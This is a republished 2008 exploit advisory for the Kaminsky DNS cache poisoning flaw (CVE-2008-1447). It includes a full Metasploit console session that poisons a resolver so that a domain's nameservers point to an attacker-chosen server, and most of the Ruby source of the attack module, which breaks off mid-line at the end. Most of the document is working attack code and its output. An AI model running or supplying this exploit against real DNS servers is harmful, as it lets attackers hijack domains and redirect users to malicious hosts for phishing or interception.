Kaminsky DNS Cache Poisoning Flaw Exploit for Domains _Exploit_网络安全_

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Computer Academic Underground
http://www.caughq.org
Exploit Code
===============/========================================================
Exploit ID: CAU-EX-2008-0003
Release Date: 2008.07.23
Title: bailiwicked_domain.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt
Author/Email: I)ruid
H D Moore
===============/========================================================
Description
===========
This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious nameserver
entry into the target nameserver which replaces the legitimate
nameservers for the target domain. By causing the target nameserver to
query for random hostnames at the target domain, the attacker can spoof
a response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache. This insertion completely replaces the original nameserver
records for the target domain.
Example
=======
# /msf3/msfconsole
## ### ## ##
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####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
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##
=[ msf v3.2-release
-- --=[ 298 exploits - 124 payloads
-- --=[ 18 encoders - 6 nops
=[ 73 aux
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig short -t ns example.com @A.B.C.D
[*] exec: dig short -t ns example.com @A.B.C.D
b.iana-servers.net.
a.iana-servers.net.
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_domain) > dig short -t ns example.com @A.B.C.D
[*] exec: dig short -t ns example.com @A.B.C.D
dns01.metasploit.com.
Credits
=======
Dan Kaminsky is credited with originally discovering this vulnerability.
References
==========
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113
Metasploit
==========
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
module Msf
class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
include Exploit::Remote::Ip
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS BailiWicked Domain Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target
domains nameserver entries in a vulnerable DNS cache server. This attack works
by sending random hostname queries to the target DNS server coupled with spoofed
replies to those queries from the authoritative nameservers for that domain.
Eventually, a guessed ID will match, the spoofed packet will get accepted, and
the nameserver entries for the target domain will be replaced by the server
specified in the NEWDNS option of this exploit.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5590 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
],
'DisclosureDate' => 'Jul 21 2008'
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end
def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end
print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)
random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s] )\s .*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port
end
end
end
end

srv_sock.close

if(ports.length < 5)
print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
return
end

if(random)
print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end

def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) 20000

address = Rex::Text.rand_text(4).unpack("C4").join(".")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)
# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000

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